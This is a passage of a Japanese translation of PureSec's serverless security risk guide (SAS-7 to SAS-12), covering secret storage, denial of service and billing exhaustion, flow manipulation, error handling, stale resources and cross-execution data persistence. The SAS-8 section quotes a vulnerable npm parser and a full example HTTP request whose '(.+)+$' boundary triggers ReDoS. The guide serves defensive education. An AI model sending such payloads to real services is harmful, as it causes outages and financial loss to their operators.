| 機密データへのアクセス制御 | RBAC を使用して機密データに適切なアクセス制御を適用するのは非常に簡単です。たとえば、アプリケーションをデプロイする人はアプリケーションシークレットにさらされません | 環境変数を使用してシークレットが保存されている場合、アプリケーションをデプロイする人は機密データにアクセスする権限を持っている可能性が高いです |
| キー管理システムの使用 | 組織および InfoSec チームは、企業 KMI システムとの連携に慣れています | 多くの開発者および InfoSec チームは、クラウドベースのキー管理サービスに関する十分な知識と経験をまだ得ていません |
緩和
すべてのアプリケーションシークレットを安全な暗号化ストレージに保存し、暗号化キーを集中暗号化キー管理インフラストラクチャまたはサービスを介して維持することが重要です。このようなサービスはほとんどのサーバーレスアーキテクチャとクラウドベンダーによって提供されます。これらのベンダーはサーバーレス環境に簡単かつシームレスに統合できる安全な API も開発者に提供します。
環境変数に秘密を保持することに決めた場合、データが常に暗号化され、適切な暗号化キー管理を使用して、関数の実行中にのみ復号化が行われることを確認してください。
以下にいくつかの参照リンクを示します。
- AWS Secrets Manager(リンク)
- シークレットの保存と取得(AWSチュートリアル)(リンク)
- 環境変数と KMS を使用した Lambda 関数暗号化シークレットの保存(リンク)
- GitHub のサーバーレスシークレットストレージプロジェクト(リンク)
- Azure Key Vault(リンク)
- Azure Functions で Azure Key Vault を使用する(リンク)
- Google Cloud KMS での秘密の保存(リンク)
SAS-8: Denial of Service & Financial Resource Exhaustion
過去10年間に、サービス拒否(DoS)攻撃の頻度と量が劇的に増加しました。このような攻撃はインターネットにさらされるほぼすべての企業が直面する主要なリスクの1つになりました。
2016年、分散型サービス拒否(DDoS)攻撃は、1テラビット/秒(1 Tbps)のピークに達しました。攻撃は感染した数百万の IoT デバイスで構成されたボットネットから発信されたと思われます。
サーバーレスアーキテクチャは自動化されたスケーラビリティと高可用性を約束しますが、注意が必要ないくつかの制限と問題を課します。
たとえば、2018年3月に PureSec の脅威調査チームは ReDoS（正規表現のサービス拒否）攻撃に対して脆弱であることが判明した「AWS-Lambda-Multipart-Parser」という名前の Node NPM パッケージのセキュリティアドバイザリをリリースしました。この脆弱性により、悪意のあるユーザーはそれを使用する各 AWS Lambda 関数がタイムアウトするまで停止させられる可能性があります。
ReDoS に対して脆弱な Node.js のサンプルコード(AWS-Lambda-Multipart-Parserから取得)：
module.exports.parse = (event, spotText) => {
const boundary = getValueIgnoringKeyCase(event.headers, 'Content-Type').split('=')[1];
const body = (event.isBase64Encoded ? Buffer.from(event.body, 'base64').toString('binary') : event.body)
.split(new RegExp(boundary))
.filter(item => item.match(/Content-Disposition/))
1.クライアントによって送信された「境界」文字列は、Content-Type ヘッダーから抽出されます。
2.リクエストの本文は、境界文字列に基づいて分割されます。本文文字列の分割は、JavaScript の string split() メソッドを使用して行われます。このメソッドは文字列を分割するための区切り文字として文字列または正規表現を受け入れます。
3.パッケージの開発者は、RegExp() コンストラクターを呼び出して本体のsplit()メソッド内で使用することにより、境界文字列を正規表現オブジェクトに変えることを選択しました。
4.リクエストの本文だけでなく境界文字列もクライアントの完全な制御下にあるため、悪意のあるユーザーはマルチパート/フォームデータリクエストを作成して、ReDoS 攻撃を引き起こすことができます。
そのような悪意のあるリクエストの例を以下に示します。
POST /app HTTP/1.1
Host: xxxxxxxxxxx.execute-api.us-east-1.amazonaws.com
Content-Length: 327
Content-Type: multipart/form-data; boundary=(.+)+$
Connection: keep-alive
(.+)+$
Content-Disposition: form-data; name="text"
PureSec
(.+)+$
Content-Disposition: form-data; name="file1"; filename="a.txt"
Content-Type: text/plain
Content of a.txt.
(.+)+$
Content-Disposition: form-data; name="file2"; filename="a.html"
Content-Type: text/html
<!DOCTYPE html><title>Content of a.html.</title>
(.+)+$
この例では境界文字列は非常に非効率的な正規表現 (.+)+$ になるように選択されています。この境界文字列は上記のような単純なリクエストボディを使用しているため、非常に長い期間 CPU 使用率が100％になります。実際、3.5Ghz Intel Core i7 CPU を搭載した MacBook Pro では、10分実行しても Node プロセスはボディの解析を完了しませんでした。このノードパッケージを使用する AWS Lambda 関数に対してテストする場合、関数は常にプラットフォームで許可されている最大タイムアウトに達します。
攻撃者は同時実行の制限に達するまでこのパッケージを使用する AWS Lambda 関数に多数の悪意のある同時リクエストを送信し、他のユーザーによるアプリケーションへのアクセスを拒否する可能性があります。また、攻撃者は Lambda 関数を長時間「過剰実行」させ、基本的に毎月の請求書を膨らませ、標的組織に金銭的損失を与える可能性があります。
詳細については、PureSec のブログを参照してください。
サーバーレスリソースの枯渇：ほとんどのサーバーレスアーキテクチャベンダーは、次のようなサーバーレス機能の実行に関するデフォルトの制限を定義しています。
- 実行ごとのメモリ割り当て
- 実行ごとの一時ディスク容量
- プロセスおよびスレッドの実行ごとの数
- 関数ごとの最大実行時間
- 最大ペイロードサイズ
- アカウントごとの同時実行制限
- 機能ごとの同時実行制限
制限とアクティビティの種類によっては、設計や構成が不十分なアプリケーションが悪用され、最終的に遅延が許容できないものになったり他のユーザーが使用できなくなることもあります。
AWS VPC IP アドレスの枯渇：VPC(Virtual Private Cloud)環境で AWS Lambda Function をデプロイする組織は、VPC サブネット内の IP アドレスの枯渇の可能性にも注意を払う必要があります。攻撃者はますます多くのファンクションインスタンスを強制的に実行してサービス拒否シナリオを引き起こし、利用可能な IP アドレスから VPC サブネットを枯渇させる可能性があります。
財務リソースの枯渇：攻撃者はサーバーレスアプリケーションを長時間「過剰実行」させ、毎月の請求書を膨らませ標的組織に金銭的損失を与えます。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| 自動拡張性 | 拡張は面倒であり、事前の慎重な計画が必要です | サーバーレス環境はオンデマンドで自動的にプロビジョニングされます。これはダウンタイムなしで高帯域幅攻撃に耐えることができることを意味します |
| 実行制限 | 標準のネットワーク、ディスク、メモリの制限 | インフラストラクチャを共有する他のテナントに過剰な請求を回避したり、損害を与えるために、サーバーレスアプリケーションは実行制限を使用します。攻撃者はこれらの制限に達し、システムを飽和させようとする可能性があります |
| IPアドレスの枯渇 | N/A | VPC で AWS Lambda を実行する場合、組織は VPC サブネットに十分な IP アドレスがあることを確認する必要があります |
緩和
サーバーレスアーキテクチャに対する Denial of Service 攻撃および Denial of Wallet 攻撃に対処するためのいくつかの緩和策とベストプラクティスアプローチがあります。
例えば：
- 個別のターゲットタスクを実行する効率的なサーバーレスファンクションを作成します。詳細については次のリンクを参照してください。
- サーバーレス機能実行の適切なタイムアウト制限の設定
- サーバーレス機能の適切なディスク使用制限の設定
- API 呼び出しでのリクエスト調整の適用
- サーバーレスファンクションへの適切なアクセス制御の実施
- ReDoS、Billion-Laughs-Attack などのアプリケーション層へのサービス拒否攻撃に対して脆弱ではない API、モジュール、およびライブラリの使用
- VPC Lambda サブネットにスケーリングに十分な IP アドレスがあることを確認する
- AWS Lambda ファンクションの設定の各アベイラビリティーゾーンに少なくとも 1 つのサブネットを指定します。各アベイラビリティーゾーンでサブネットを指定することにより、Lambda ファンクションは別のアベイラビリティーゾーンがダウンした場合や IP アドレスがなくなった場合に実行できます。詳細については、こちらをご覧ください。
SAS-9: Functions Execution Flow Manipulation
アプリケーションフローの操作は攻撃者がアプリケーションロジックを破壊するのに悪用される可能性があります。この手法を使用すると攻撃者はアクセス制御をバイパスしたり、ユーザー特権を昇格させたり、サービス拒否攻撃を仕掛けたりすることもあります。
アプリケーションフローの操作はサーバーレスアーキテクチャに固有のものではなく、多くの種類のソフトウェアに共通する問題です。ただし、多くの場合マイクロサービスの設計パラダイムに従っており、アプリケーションロジックが特定の順序で連結された数多くの個別機能によって構成されているのはサーバーレスアーキテクチャ固有の現象です。
複数の関数が存在し、各関数が別の関数を呼び出すシステムでは、望ましいロジックを実現するために呼び出しの順序が重要になる場合があります。さらに、設計では特定の関数が特定のシナリオでのみ許可された呼び出し元によって呼び出されると想定する場合があります。
複数の関数呼び出しプロセスが攻撃者の標的になる可能性がある別の関連シナリオは、AWS Step Functions、Azure Logic Apps、Azure Durable Functions、または IBM Cloud Functions Sequences によって提供されるものなど、サーバーレスベースのステートマシンです。
クラウドストレージバケットにアップロードされるファイルの暗号化ハッシュを計算する次のサーバーレスアプリケーションを調べてみましょう。アプリケーションロジックは次のとおりです。
- ステップ＃1：ユーザーがシステムに認証されます。
- ステップ＃2：ユーザーは専用のファイルアップロード API を呼び出し、クラウドストレージバケットにファイルをアップロードします。
- ステップ＃3：ファイルアップロード API イベントで、アップロードされたファイルのファイルサイズの健全性チェックをトリガーし、最大サイズが 8KB のファイルを想定します。
- ステップ＃4：健全性チェックが成功するとファイルアップロード通知メッセージが Pub/Sub クラウドメッセージングシステムの関連トピックに公開されます。
- ステップ＃5：Pub/Sub メッセージングシステムの通知メッセージの結果、暗号化ハッシュを実行する2番目のサーバーレス機能が関連ファイルで実行されます。
次の画像はこのアプリケーションの概略的なワークフローを示しています。
このシステム設計では機能とイベントが望ましい順序で呼び出されることを前提としていますが、悪意のあるユーザーは次の2つの方法でシステムを操作できる可能性があります。
- クラウドストレージバケットが適切なアクセス制御を実施しない場合、ユーザーはステップ3でのみ実施されるサイズチェックをバイパスして、バケットに直接ファイルをアップロードできる可能性があります。悪意のあるユーザーは多数の巨大なファイルをアップロードし、システムのクォータで定義された使用可能なすべてのシステムリソースを故意に消費することができます
- Pub/Sub メッセージングシステムが関連するトピックに対して適切なアクセス制御を実施しない場合、すべてのユーザーが多数のファイルアップロードメッセージを発行して、システムにすべてのシステムリソースがなくなるまで暗号化ファイルハッシュ機能を継続的に実行させることができます。
どちらの場合も、攻撃者は定義されたクォータが満たされるまでシステムリソースを消費し、他のシステムユーザーからのサービスを拒否する可能性があります。また、別の被害としてクラウドベンダーからの月々の請求書(Financial Resource Exhaustion)がそれによって水増しされます。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| フローはの適用対象 | アプリケーションのタイプによって異なります。ユーザーフロー、Web ページフロー、ビジネスロジックフローなどがあります | 従来のアプリケーション(フロントエンドによって異なります)と同様ですが、サーバーレス機能ではフローの強制が必要になる場合があります。特に、関数によってマシンのステートを管理する時です |
緩和
この問題に対する単純な万能ソリューションはありません。関数実行フローの操作を回避するための最も堅牢なアプローチは、正当な呼び出しフローに関する仮定を一切行わずにシステムを設計することです。機能ごとに適切なアクセス制御とアクセス許可が設定されていることを確認し、該当する場合は堅牢なアプリケーションの状態管理機能を使用してください。
SAS-10: 不適切な例外処理と詳細なエラーメッセージ
執筆時点では、サーバーレスベースのアプリケーションの行ごとのデバッグを実行するための利用可能なオプションは標準アプリケーションを開発するときに利用可能なデバッグ機能と比較してかなり制限され、より複雑です。これはサーバーレスファンクションがコードをローカルでデバッグするときに利用できないクラウドベースのサービスを使用している場合に特に当てはまります。
この要因により、一部の開発者は詳細なエラーメッセージを使用することを採用し、環境変数のデバッグを有効にし、最終的に運用環境に移動するときにコードをクリーンアップすることを忘れます。
エンドユーザーに公開されるスタックトレースや構文エラーなどの詳細なエラーメッセージは、サーバーレス機能の内部ロジックに関する詳細を明らかにし、ひいては潜在的な弱点、欠陥、さらには機密データの漏洩さえ明らかにする可能性があります。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| デバッグとトレースの容易さ | 標準デバッガーまたは IDE トレース機能を使用したアプリケーションのデバッグが容易 | 執筆時点では、サーバーレスアプリケーションのデバッグは従来のアプリケーションよりも複雑です。一部の開発者は詳細なエラーメッセージを出力することでデバッグしたいと思うかもしれません |
緩和
サーバーレスアーキテクチャが提供するデバッグ機能を使用し、ソフトウェアをデバッグする手段として詳細なデバッグ出力を避けることをお勧めします。
さらに、サーバーレス環境が API ゲートウェイによって提供されるようなカスタムエラー応答の定義をサポートしている場合、内部実装または環境変数に関する詳細を明らかにしない単純なエラーメッセージを作成することをお勧めします。
SAS-11: レガシー、または利用されていないサーバーレスファンクション、リソース、イベントトリガー
The 12 Most Critical Risks for Serverless Applications 2019 より追記
一般的な最近のアプリケーションと同様に、時間の経過とともにサーバーレスファンクションと関連するクラウドリソースは陳腐化する可能性があるため、これらを廃止する必要があります。
不要なコスト、および回避可能な攻撃領域を削減するため、廃止されたアプリケーションの剪定を行う必要があります。
廃止されたサーバーレスアプリケーションコンポーネントには次のものが挙げられます。
- 非推奨のサーバーレスファンクションのバージョン
- もう関係のないサーバーレスファンクション
- 未使用のクラウドリソース（ストレージバケット、データベース、メッセージキューなど）
- 不要なサーバーレスイベントソーストリガー
- 未使用のユーザー、ロール、または ID
- 未使用のソフトウェア依存関係
脅威の悪用例
攻撃準備にあたる偵察フェーズでは、悪意のあるユーザーは通常、サーバーレスアプリケーションをマッピングして最も抵抗の少ないパスを探します。廃止されたファンクション/クラウドリソース、不必要なイベントソーストリガー、または IAM ロールは、悪用される可能性が最も高いターゲットです。
開発者はイベントソーストリガーを残すケースがあります。その原因は不明であり、おそらく適切に監視もされません。
このようなイベントトリガーにより、攻撃者は認証メカニズムをバイパスしたり、ビジネスロジックを悪用したりすることができます。
比較
| 差別化要因 | 従来のアプリケーション | サーバーレスアプリケーション |
|---|---|---|
| 廃止されたアプリケーションリソースを検出、トラッキングする方法 | ソフトウェアのコードリポジトリとソース管理を通じてトラッキングされます。さらに、コードカバレッジツールを使用して「デッドコード」を検出できます。 | ファンクションやリソースなどの疎結合されたクラウドコンポーネントで構築されているため、クラウドネイティブなリソースインベントリ、およびクラウド態勢管理ソリューションを使用する必要があります |
訳者注）クラウド態勢管理： Cloud Posture Management
緩和
組織は古いサーバーレスアセット、クラウドリソース、IAM ロール、および通常の開発プロセス以外で展開された可能性のある不明なサーバーレスコードの検出と剪定を継続的に実行する必要があります。このような検出はクラウドセキュリティ態勢管理（CSPM）ソリューション、またはサーバーレスセキュリティプラットフォーム（SSP）を使用して自動化することができます。
SAS-12: CROSS-EXECUTION DATA PERSISTENCY
The 12 Most Critical Risks for Serverless Applications 2019 より追記
サーバーレスプラットフォームは、アプリケーション開発者にローカルディスクストレージ、環境変数、RAM メモリを提供し、最新のソフトウェアスタックと同様の方法で計算タスクを実行します。
クラウドプロバイダーはサーバーレスプラットフォームで新しい関数呼び出しを効率的に処理してコールドスタートを回避するために、後続の関数呼び出しに実行環境（コンテナーなど）を再利用する場合があります。
サーバーレス実行環境が異なるエンドユーザーやセッションコンテキストに属する後続の呼び出しに再利用されるシナリオでは、前回実行時のセンシティブなデータが残され、露見する可能性があります。
開発者はサーバーレスファンクションの実行環境を一時的、かつステートレスとして常に扱う必要があり、可用性、整合性、および(最も重要な)呼び出し間のローカルに保存されたデータの破棄について何も想定しないようにしてください。
比較
クラウドプロバイダーによる環境の再利用を処理する方法によってデータの永続性と破棄が義務付けられるという事実を除き、従来のアプリケーションとサーバーレスアプリケーションに大きな違いはありません。
脅威の悪用例
関数の実行中に、関数はリモート API からデータをプルし、サーバーレスランタイム環境ローカルの /tmp/ ディレクトリに保存します。このようなデータはセッションまたはユーザー固有のものであり、センシティブな情報が含まれる場合があります。実行の最後にこのデータが消去されない場合、攻撃者は関数ロジックの脆弱性を悪用し、以前のユーザーに属するデータにアクセスする可能性があります。
緩和
開発者は、ディスク、メモリ、環境変数に保存されたデータを含むローカルに保存されたデータが、同じランタイム環境で同じ関数を実行する間持続する可能性があることに注意してください。これらの場所に機密性の高いアプリケーションシークレットまたはデータを保存しないようにし、暗号化されたクラウドシークレットストレージの機能を使用してください。
もしもこのケースに該当する場合、開発者は各関数の実行の終了時に実行環境からデータを破棄する必要があります。
また、サーバーレスセキュリティプラットフォームを使用して、実行中のファンクションのセンシティブなデータへの不正アクセスと漏洩を監視、および防止することができます。
ACKNOWLEDGEMENTS(謝辞)
このドキュメントには次の PureSec のコントリビュータが関与しました。
- Ory Segal (PureSec)
- Shaked Zin (PureSec)
- Avi Shulman (PureSec)
PureSec は本ドキュメントをレビューし、貴重な洞察とコメントを提供してくれた次の個人と組織に感謝します。
- Alex Casalboni (Cloud Academy)
- Andreas Nauerz (IBM Cloud)
- Ben Kehoe (iRobot)
- Benny Bauer
- Dan Cornell (Denim Group)
- David Melamed (Cisco)
- Erik Erikson (Nordstrom)
- Izak Mutlu
- Jabez Abraham (Asurion)
- Mike Davies (Capital One)
- Nir Mashkowski (Microsoft Azure)
- Ohad Bobrov (Check Point)
- Orr Weinstein
- Peter Sbarski (A Cloud Guru)
（アルファベット順）
訳者感想
いかがでしたか？
AWS Lambda や Google Cloud Functions などのサーバーレスコンピューティングは導入が簡単で、クラウドのお作法やセキュリティに慣れていない開発者も気軽に利用しているケースがどんどん増えていると思います。
また、サーバーレスアプリケーションは実行コードや実行環境がクラウドの中に閉じているため、セキュリティに関して配慮が不要だと考えている人も多いのではないでしょうか。
ぜひ、本稿や本稿のリンクを参考に、サーバーレスアプリケーションのセキュリティについて考えていただけたら幸いです。
あと、サーバーレスセキュリティの概要の図ではコンテナのセキュリティもサーバーレスアーキテクチャのベンダーが担保するように書かれていましたが、それは文脈によって異なると思います。
コンテナ周りのセキュリティが気になる方は最近の良記事だったコンテナ・セキュリティ入門 脆弱性などもご参照ください。
なお、PureSec は OWASP Serverless Top 10 のスポンサー企業でもありますが、本稿はそちらの TOP 10との関連はないようです（多分）。
OWASP のサーバーレスやられアプリ、Serverless-Goat は本稿を元に作られているようで、TOP 10が2つある状況はセキュリティ診断員としてちょっと複雑。
[2020/1/1 追記] Serverless Goat について記事を投稿しました。